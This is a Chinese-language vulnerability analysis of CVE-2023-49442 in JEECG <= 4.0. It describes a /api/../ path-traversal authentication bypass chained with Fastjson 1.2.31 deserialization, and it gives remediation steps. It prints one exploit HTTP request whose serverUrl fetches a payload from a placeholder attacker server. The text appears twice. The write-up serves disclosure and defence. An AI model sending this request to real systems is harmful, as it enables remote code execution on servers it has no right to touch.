JEECG代码执行漏洞-CVE-2023-49442
字数 1127 2025-08-18 17:33:44

JEECG代码执行漏洞分析 (CVE-2023-49442)

漏洞描述

JEECG 4.0及之前版本中存在一个严重的远程代码执行漏洞,该漏洞源于接口鉴权时未正确过滤路径遍历字符。攻击者可以构造特殊URL绕过系统鉴权机制,通过jeecgFormDemoController.do?interfaceTest接口实现远程代码执行。

影响版本

  • JEECG <= 4.0

漏洞分析

漏洞定位

漏洞位于jeecgFormDemoController.do?interfaceTest接口处,该接口接收三个参数:

  1. serverUrl - 目标服务器URL
  2. requestBody - 请求体内容
  3. requestMethod - 请求方法(GET/POST)

漏洞原理

  1. 接口根据requestMethod参数值调用HttpRequest.sendPostHttpRequest.sendGet方法
  2. 方法会向serverUrl指定的地址发送HTTP请求
  3. 获取响应结果后,使用JSONObject.parseObject(result)进行解析
  4. 系统使用的Fastjson版本为1.2.31(存在已知漏洞)
  5. serverUrl返回的内容包含Fastjson反序列化payload时,可触发代码执行

鉴权绕过机制

直接访问该路由会触发302跳转(被拦截器限制),但发现以下绕过方式:

  • 系统对以/api/开头的接口不做限制
  • alwaysUseFullPath设置为false,在处理过程中会对URI进行标准化
  • 可利用/api/../形式的路径遍历绕过鉴权

漏洞利用

利用步骤

  1. 准备远程文件(包含Fastjson代码执行payload)
  2. 发送精心构造的HTTP请求:
POST /api/../jeecgFormDemoController.do?interfaceTest= HTTP/1.1
Host: [目标主机]
Content-Type: application/x-www-form-urlencoded
Content-Length: 77

serverUrl=http://[攻击者服务器]/jeecg.txt&requestBody=1&requestMethod=GET
  1. 当服务器获取并解析恶意payload时,攻击者命令将被执行

关键参数说明

  • serverUrl: 指向包含Fastjson payload的远程文件
  • requestMethod: 指定请求方法(GET/POST)
  • requestBody: 随请求发送的数据

修复建议

  1. 升级JEECG到最新版本(4.0以上)
  2. 若无法立即升级,可采取以下临时措施:
    • 严格校验接口路径,防止路径遍历
    • 升级Fastjson到安全版本
    • jeecgFormDemoController.do?interfaceTest接口添加严格鉴权
    • 限制外部URL访问能力

参考链接

总结

该漏洞结合了路径遍历鉴权绕过和Fastjson反序列化漏洞,攻击者可利用此漏洞在目标系统上执行任意代码,危害性极高。建议所有使用JEECG框架的用户立即检查版本并采取相应防护措施。

JEECG代码执行漏洞分析 (CVE-2023-49442) 漏洞描述 JEECG 4.0及之前版本中存在一个严重的远程代码执行漏洞,该漏洞源于接口鉴权时未正确过滤路径遍历字符。攻击者可以构造特殊URL绕过系统鉴权机制,通过 jeecgFormDemoController.do?interfaceTest 接口实现远程代码执行。 影响版本 JEECG <= 4.0 漏洞分析 漏洞定位 漏洞位于 jeecgFormDemoController.do?interfaceTest 接口处,该接口接收三个参数: serverUrl - 目标服务器URL requestBody - 请求体内容 requestMethod - 请求方法(GET/POST) 漏洞原理 接口根据 requestMethod 参数值调用 HttpRequest.sendPost 或 HttpRequest.sendGet 方法 方法会向 serverUrl 指定的地址发送HTTP请求 获取响应结果后,使用 JSONObject.parseObject(result) 进行解析 系统使用的Fastjson版本为1.2.31(存在已知漏洞) 当 serverUrl 返回的内容包含Fastjson反序列化payload时,可触发代码执行 鉴权绕过机制 直接访问该路由会触发302跳转(被拦截器限制),但发现以下绕过方式: 系统对以 /api/ 开头的接口不做限制 alwaysUseFullPath 设置为false,在处理过程中会对URI进行标准化 可利用 /api/../ 形式的路径遍历绕过鉴权 漏洞利用 利用步骤 准备远程文件(包含Fastjson代码执行payload) 发送精心构造的HTTP请求: 当服务器获取并解析恶意payload时,攻击者命令将被执行 关键参数说明 serverUrl : 指向包含Fastjson payload的远程文件 requestMethod : 指定请求方法(GET/POST) requestBody : 随请求发送的数据 修复建议 升级JEECG到最新版本(4.0以上) 若无法立即升级,可采取以下临时措施: 严格校验接口路径,防止路径遍历 升级Fastjson到安全版本 对 jeecgFormDemoController.do?interfaceTest 接口添加严格鉴权 限制外部URL访问能力 参考链接 阿里云漏洞详情 总结 该漏洞结合了路径遍历鉴权绕过和Fastjson反序列化漏洞,攻击者可利用此漏洞在目标系统上执行任意代码,危害性极高。建议所有使用JEECG框架的用户立即检查版本并采取相应防护措施。